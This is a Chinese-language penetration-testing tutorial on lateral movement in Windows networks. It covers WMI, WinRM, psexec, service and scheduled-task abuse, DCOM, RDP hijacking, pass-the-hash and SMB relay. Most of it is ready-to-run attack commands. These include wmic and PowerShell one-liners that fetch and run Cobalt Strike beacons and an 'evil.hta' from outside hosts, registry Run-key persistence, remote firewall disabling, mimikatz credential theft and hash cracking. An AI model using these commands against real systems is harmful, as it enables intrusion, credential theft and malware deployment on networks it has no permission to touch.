当我们进入内网后,并且对当前主机的各种信息已经搜集完毕,接下来就到了最有意思的环节,横向移动。在这个环节,我们可以通过我们的操作获取多台主机的权限,本文将总结内网横向渗透中常用的姿势。
WMI
什么是WMI?
WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。
为什么要使用WMI?
使用WMI进行横向移动,默认不会留下系统日志,并且脚本无需写入磁盘,具有隐蔽性。
如何使用WMI?
对于WMI的利用,可以使用windows自带的wmic命令来执行各种操作
1 | wmic process list brief 列出进程信息 |
1 | wmic process call create "calc.exe" 创建进程 |
1 | wmic useraccount list brief 列出当前账户信息 |
1 | wmic startup get command,caption 获取启动项中的信息 |
1 | wmic service list brief 查看启动的服务 |
1 | wmic qfe list brief 查看补丁 |
1 | wmic ntdomain list brief 获取域控信息 |
1 | wmic product get name,version 获取安装的软件,获取的不一定全 |
WMI横向渗透条件?
- 开启WMIC默认管理端口135端口
- 拥有管理员权限
WMI横向渗透利用
1、使用WMIC利用
1 | wmic /node:192.168.3.144 /user:administrator /password:Admin12345 PROCESS call create "cmd.exe /c ipconfig > c:\windows\temp\result.txt" |
使用WMIC进行横向渗透是无法获取回显的,因此可以通过建立IPC连接,通过IPC读取执行结果。
1 | type \\192.168.3.144\c$\windows\temp\result.txt |
使用WMIC执行exe上线
1 | wmic /node:192.168.3.144 /user:administrator /password:"xxx" PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://192.168.3.99/beacon.exe c:/windows/temp/windwn.exe & c:/windows/temp/windwn.exe & certutil.exe -urlcache -split -f http://192.168.3.99/beacon.exe delete" |
使用WMIC执行powershell上线
1 | wmic /NODE:192.168.3.144 /user:"administrator" /password:"xxx" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.3.99/beacon.ps1');\"" |
使用WMIC修改注册表权限维持
首先将我们生成的马放到边界主机上,使用IPC将马移动到目标主机
1 | net use \\192.168.3.144\admin$ /user:"administrator" "xxx" & xcopy C:\Users\jerry\Desktop\artifact.exe \\192.168.3.144\admin$\temp & net use \\192.168.3.144\admin$ /del |
操作注册表,将文件写入到启动项中
1 | wmic /NODE:"192.168.3.144" /USER:"administrator" /PASSWORD:"xxx" process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"shell\" /t REG_SZ /d \"C:\windows\temp\artifact.exe\" /f" |
2、使用wmiexec.vbs利用
直接使用原生的wmic利用有一个缺陷,就是不能获取返回的内容,使用wmiexe.vbs可以获取到执行的结果,其原理就是先将执行后的结果输出到文件中,再与目标建立IPC连接,查看文件的内容,因此这种利用方式不仅需要目标开启135,也需要开启445,否则无法获取执行后的结果。
使用wmiexec.vbs执行命令并获取结果
1 | cscript wmiexec.vbs /cmd 192.168.3.144 administrator "xxxx" "query user" |
使用wmiexec获取半交互的shell
1 | cscript wmiexec.vbs /shell 192.168.3.144 administrator "xxxx" |
3、使用impacket套件利用
在windows下,有已经打包成exe的impacket利用套件,当我们仅仅得到hash而没有得到密码时,可以通过wmiexec.exe来进行横向移动。hash的值需要区分大小写,否则会执行失败
1 | wmiexec.exe -hashes "xxx:xxx" administrator@192.168.3.144 "query user" |
也可以使用wmiexec.exe通过密码进行验证来执行命令
1 | wmiexec.exe administrator:xxx@192.168.3.144 "query user" |
也可以获取半交互的shell
1 | wmiexec.exe administrator:xxx@192.168.3.144 |
4、使用Invoke-WMIExec利用
当只有hash时,也可以通过Invoke-WMIExec来进行横向渗透,不过这种方式无法获取执行后的结果
1 | powershell "IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144 -Username administrator -Hash xxx -Command "whoami" -verbose" |
如果在cs上执行,需要将powershell的双引号转义一下
1 | shell powershell ""IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144 -Username administrator -Hash xxx -Command 'whoami' -verbose"" |
在目标可以出外网的情况下,可以使用cs生成一个hta文件,再远程加载hta文件达到上线的目的
1 | shell powershell ""IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144 -Username administrator -Hash xxx -Command 'mshta http://111.229.70.13:801/evil.hta' -verbose"" |
我们也可以同时导入Invoke-TheHash.ps1和Invoke-WMIExec.ps1来探测同C段中用户hash是否相同
1 | shell powershell ""IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-TheHash.ps1');Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Username administrator -Hash xxx"" |
WinRM
什么是winrm?
Web服务管理协议(WS-Management,Web Services-Management)是一种基于SOAP协议的DMTF开放标准,用于对服务器等网络设备以及各种Web应用程序进行管理。而WinRM(Windows Remote Management)是Windows对WS-Management的实现,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。
winrm服务端工作在5985和5986端口上,winrm以SOAP格式来进行数据交换。
有什么利用条件?
在win2012以上才可以远程主机来管理
防火墙开放对5985和5986端口的连入
可以在powershell下进行测试
1
Test-WsMan 192.168.3.144
winrm横向移动
1、使用winrm直接横向移动
使用winrm在本地执行命令
1 | winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} |
使用winrm在远程主机上执行命令
1 | winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://10.0.83.30:5985 -u:administrator -p:123456 |
直接使用会存在一个信任问题
可以通过如下命令添加信任
1 | Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.3.73" |
添加信任后,再使用winrm执行命令
1 | winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.3.73:5985 -u:administrator -p:xxx |
2、使用自带的winrs横向渗透
1 | winrs -r:192.168.3.73 -u:administrator -p:xxx "query user" |
获取交互shell
1 | winrs -r:192.168.3.73 -u:administrator -p:xxx "cmd" |
3、使用powershell横向渗透
直接执行命令的方式
1 | Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { query user } -credential administrator |
获取交互shell
1 | Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator |
service
因为本地管理员具有创建,重启,修改二进制文件路径的权限,因此可以通过这种方式进行横向移动。
1、psexec横向移动
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为”PSEXESVC”的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。
利用说明:
- 使用psexec需要开启admin$共享
- Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹
- 通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接点 X 关闭可能导致目标服务无法删除。如果使用交互式shell执行阻塞的进程可能导出服务不能正常退出。
- Psexec 该工具支持socks代理
无ipc连接情况下
获取反弹shell
1 | psexec.exe \\192.168.3.144 -u administrator -p xxx cmd.exe |
执行命令
1 | psexec.exe \\192.168.3.144 -u administrator -p xxx cmd.exe "whoami" |
有ipc连接情况下
1 | psexec.exe \\192.168.3.144 cmd.exe |
2、Impacket套件psexec利用
当我们仅仅获取hash,可以通过Impacket的psexec进行利用
1 | psexec.exe -hashes :xxxxx ./administrator@192.168.3.144 |
使用psexec.exe执行文件上线,首先生成service的exe
将exe上传到边界机上,执行如下命令
1 | psexec.exe -hashes :xxxxx ./administrator@192.168.3.144 -c c:\xxx\xxx\xxx.exe |
3、SCShell横向移动
SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。
1 | SCShell.exe 192.168.3.144 已知的服务名 "C:\windows\system32\calc.exe" . administrastor Password |
4、使用SC命令操作服务
1 | sc \\xxx.xxx.xxx.xx create test666 binpath="C:\Windows\System32\calc.exe" |
我这里测试遇到了1053错误,找了很多方法都没能解决
经过请教部门的同事,虽然启动服务会爆1053错误,但实际上exe也会正常执行。
但是这里还是还是有一个问题,就是当启动爆出1053错误后,原本执行的exe进行会消失,假如我们执行的这个exe是cs生成的马,那么使用sc执行后会随着报错的出现导致shell掉了吗?
经过测试发现确实会掉,最终确定爆1053的原因是我们执行的exe不是一个正常的service,因此执行会爆1053的错误,使用cs生成一个services类型的马就可以正常执行了,并且不会报错。
计划任务
什么是计划任务?
所谓的计划任务,就是在某个时间去执行某个操作。
有什么利用条件?
- 有管理员的账号密码
- net use 可以正常连接
- windows计划任务服务”Task Scheduler”启动
计划任务横向渗透
在一些比较老的系统比如xp/2003是使用at命令来执行计划任务操作,在2008可以使用at和schtasks执行计划任务。
1、AT计划任务
1 | net use \\192.168.3.100\admin$ "xxx" /user:administrator |
2、schtasks计划任务
1 | net use \\192.168.3.100\admin$ /user:"administrator" "xxxx" |
使用schtasks可以手工去启动计划任务,无需等到特定的时间去触发
3、impacket套件atexec
通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。atexec 脚本默认只支持 2008 之后的系统,默认弹回来的是system权限。
1 | atexec.exe ./administrator:xxxx@192.168.3.144 "whoami /user" |
也可以使用hash来进行认证
1 | atexec.exe -hashes :xxxxxxxx ./administrator@192.168.3.144 "whoami /user" |
DCOM
什么是DCOM?
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DOCM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
DCOM的基本应用
获取DCOM的程序列表
1 | Get-CimInstance Win32_DCOMApplication |
Get-CimInstance在powershell3.0以上版本存在,只能在win2012以上才能使用。可以使用下面的命令代替
1 | Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |
也可以使用WMIC获取
1 | wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication GET /all /FORMAT:list |
使用DCOM在本地执行任意命令
1 | $com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) |
注意执行上面的命令需要本地以管理员权限运行,否则会出现如下错误
在远程主机上执行任意命令
利用条件:
域环境下使用
Client:关闭防火墙
Server:获得域主机内置帐户administrator的口令,可net use连接至Client
1、调用MMC20.Application在远程主机上执行命令
1 | $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.3.73")) |
这种方式我在域环境中复现成功,在非域环境未复现成功,会爆如下错误
2、调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’
1 | $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.3.73") |
这种方式执行完calc后会直接弹出,而不是在后台执行
3、调用’C08AFD90-F2A1-11D1-8455-00A0C91F3880’
这种方式适合于win2012和win10,不适合win7
1 | $com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.3.73") |
远程操作防火墙
1、通过sc命令远程关闭防火墙
1 | sc \\192.168.3.73 stop mpssvc |
2、远程修改防火墙配置
1 | netsh -r 192.168.3.73 -u rootkit\administrator -p xxx advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow |
1 | netsh -r 192.168.3.73 -u rootkit\administrator -p xxx advfirewall firewall Delete rule name="any" 删除规则 |
使用DCOM进行横向移动
1、使用impacket进行横向移动
1 | dcomexec.exe ./administrator:Admin123456@192.168.3.144 "whoami /user" |
1 | dcomexec.exe -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 ./administrator@192.168.3.144 "whoami /user" |
RDP hijacking
什么是RDP hijacking?
RDP劫持可以在我们没有用户密码的情况下获取用户的情况下获取用户的桌面。
有什么利用条件?
- 获取了当前系统的system权限
- 通过query user 可以看到多个用户
如何使用RDP劫持?
通过在任务管理器中,我们可以看到当前有两个用户处于活动状态
如果我们想切换到其他用户的会话,右击选择连接,输入密码后即可获取其他用户的rdp桌面
但是当我们具有system权限时,可以无需密码获取其他用户的会话。
当然使用这种方式会把其他正在运行的用户挤下线,对于处于断开状态的用户则没有什么影响。
PTH
什么是PTH?
由于 net-ntlm 在验证的时候,是直接用用户密码 hash 而非明文的方式来验证的,因此仅仅知道hash也可以完成认证过程,拿到用户的hash直接去认证并且获取访问资源的这个过程就叫做PTH。
为什么要使用PTH?
在渗透的过程中,经常会遇到2012及以上的系统,这些系统在默认情况下lsass进程中没有保存明文,只能获取到hash,在解不开密码的情况下,只能通过pth来进行横向渗透。
PTH的利用条件?
- 445端口可以正常访问
- 获取目标主机的ntml hash
利用PTH横向渗透
1、通过mimikatz进行PTH利用
在cs中使用mimikatz来进行PTH
1 | mimikatz sekurlsa::pth /user:Administrator /domain:. /ntlm:xxxxx /run:"powershell -w hidden" |
本来没有权限访问192.168.3.144主机的目录,但是通过令牌替换后,即可访问
1 | steal_token PID |
2、使用CS进行PTH横向移动
在CS的选项中选择target
对着target右键选择psexec
输入用户账户和hash,点击lauch后即可上线
3、使用powershell进行PTH进行横向移动
首先使用cs生成hta文件,并且将这个hta挂载到web上
执行如下命令通过PTH加载evil.hta上线
1 | shell powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxxxxx/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144 |
也可以使用smbexec来进行hash传递上线
1 | shell powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxxxx/invoke-SMBExec.ps1');Invoke-SMBExec -Target 192.168.3.144 |
4、使用imapcket套件进行PTH
使用wmiexec进行pth
1 | wmiexec.exe -hashes "xxx:xxx" ./Administrator@192.168.3.144 "query user" |
在cs下执行会有异常,具体原因不详。
在cmd下执行正常,如果有问题需要改一下cmd的编码chcp 936
使用smbexec进行横向渗透,这种方式只能获取半交互的shell,不能在cs下或者webshell下进行利用
1 | smbexec.exe -hashes xx:xxx ./Administrator@192.168.3.144 |
在windows server 2012R2以上默认无法使用RID非500的用户进行PTH利用。
当我们设置LocalAccountTokenFilterPolicy(默认不存在)这项为1时,则其他用户也可PTH
1 | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy |
pass the key
当目标处于域环境并且安装了KB2871997补丁,可以使用这种方法进行横向移动。首先导出aes key
1 | mimikatz sekurlsa::ekeys |
使用mimikatz进行PTK
1 | mimikatz sekurlsa::pth /user:Administrator /domain:xxx.ORG /aes256:xxxx |
在dir的时候注意要使用主机名而不是ip。
SMB RELAY
什么是SMB?
服务器消息块(SMB)协议是一种网络文件共享协议,在Microsoft Windows中实现称为Microsoft SMB协议。SMB允许您共享文件,磁盘,目录,打印机等。SMB运行在445端口并且提供了多种功能,例如操作文件,共享,消息传递,IPC等。
什么是net-hash?
net-hash是windows hash在网络中传递的一种形式形式,net-hash是由ntml hash计算得来的。
什么是smb relay?
要理解smb relay(中继),关于windows认证过程的了解是绕不过去了,所以有必要先了解windows NTML是怎么认证的。
第一步:Client 将用户名和本机的一些信息发送给 Server
第二步:Server 产生一个16位的 Challenge 发送给 Client,同时本地存储 Challenge
第三步:Client 接收到 Server 的 Challenge 后使用输入的明文密码产生的 NTLM Hash加密 Challenge 产生 Response(也称为Net-NTLM Hash),并将 Response 发送给 Server
第四步:服务端接收到 Response ,使用 SAM 中所存储的对应用户的 NTLM Hash 来加密步骤2所存储的 Challenge ,并将结果与 Response 进行比较。若一致则通过认证。
通过上面的过程我们可以看到,在第三步客户端是使用服务端生成的Challenge和本地的NTLM Hash一起加密产生了net-hash,并将net-hash传递给服务端。如果在NTLM 认证的过程中,有一个第三者作为一个中介,client会以为它是server端并且将net-hash发送给这个第三者,那么这个第三者就可以拿到client的net-hash,替代client与server端进行认证,这个过程无论对于client还是server都是正常的完成ntml认证。但是对于第三者而言,它可以代替client去访问server端的资源。这个过程就叫做smb relay。
怎么发起smb relay?
一般情况下,我们要攻击的主机即使进行ntml认证,流量并不会经过第三者的主机。那么如何让目标主机和我们主机进行ntml认证呢。
1、LLMNR/NBNS欺骗
LLMNR和NBNS是Windows系统完成名称解析的一种方法。windows的名称解析规则如下:
- 首先在本地host文件中进行查询(%windir%\System32\drivers\etc\hosts)
- 其次在DNS缓存/DNS服务器中进行查询
- 当上面两种方式未查询到后,则使用LLMNR或者NBNS协议进行解析。
LLMNR工作过程:主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。
因为LLMNR并没有认证相应的主机是否是需要寻找的主机,因此攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。
windows下使用Inveigh针对SMB RELAY利用
首先windows不通版本使用的smb版本是不一样的,具体如下
1 | Smb v1 主要用于 xp/2003 以下的系统中 |
当目标开启了启 smb 签名后则无法利用,一般windows server会开启而windows单机不开启,打了ms08-068[KB957097]的主机也无法利用。
1 | Import-Module C:\Users\dbadmin\Desktop\Inveigh.ps1 |
当我们在windows单机上对不存在的主机发起smb请求,即可获取net-hash
抓到net-hash后,可以尝试使用hashcat跑一下
1 | hashcat64.exe -a 0 -m 5600 hash.txt top10w.txt |
参考文章